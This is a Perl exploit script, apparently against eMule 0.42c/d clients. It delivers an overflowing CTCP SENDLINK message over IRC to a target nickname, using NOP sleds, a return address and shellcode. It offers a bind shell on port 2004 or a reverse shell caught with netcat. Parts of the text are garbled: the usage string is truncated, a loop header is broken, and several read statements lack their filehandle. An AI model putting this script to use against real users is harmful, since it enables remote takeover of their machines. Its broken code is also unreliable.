#!/usr/bin/perl
#
# eMule -s [-p port] [-c ]\r\n".
"use -c switch for reverse shell\r\n".
"example: perl emule4x.pl -n emuleuser -s irc.somenet.com -t 0\r\n\r\ntarget types:\r\n";
for ($i=0; $i) {
$line = $_;
# print $line;
if ((index $line, " 376 ") ne -1) {
goto logged_in;
}
if ((index $line, "PING") ne -1) {
substr($line,1,1,"O");
send(SOCK1, $line, 0);
}
}
logged_in:
print " ok\r\n";
sleep(4);
print "Sending buffers to $nickname...";
# 005f4c51 eMule 0.42c (514c5f00)
# 0057f67a eMule 0.42d (7AF65700)
if ($usecb eq 1) {
send(SOCK1, "PRIVMSG $nickname :$cbsc\r\n", 0);
send(SOCK1, "PRIVMSG $nickname :\x01SENDLINK\|" . $nops1 . "EB079090". $ret .
"906681EC4000". $nops2 . $find_sccb ."\|\x01\r\n", 0);
} else {
send(SOCK1, "PRIVMSG $nickname :$sc\r\n", 0);
send(SOCK1, "PRIVMSG $nickname :\x01SENDLINK\|" . $nops1 . "EB079090". $ret .
"906681EC4000". $nops2 . $find_sc ."\|\x01\r\n", 0);
}
if ($usecb ne 1) {
print "\r\nNow try connecting to ".$nickname."'s ip on port 2004.\r\n";
} else {
print "\r\nWatch at your netcat for some shell.\r\n";
}
$recv = ;
$recv = ;
$recv = ;
$recv = ;
$recv = ;
$recv = ;
$recv = ;
$recv = ;
$recv = ;
print " done\r\n";
# EOF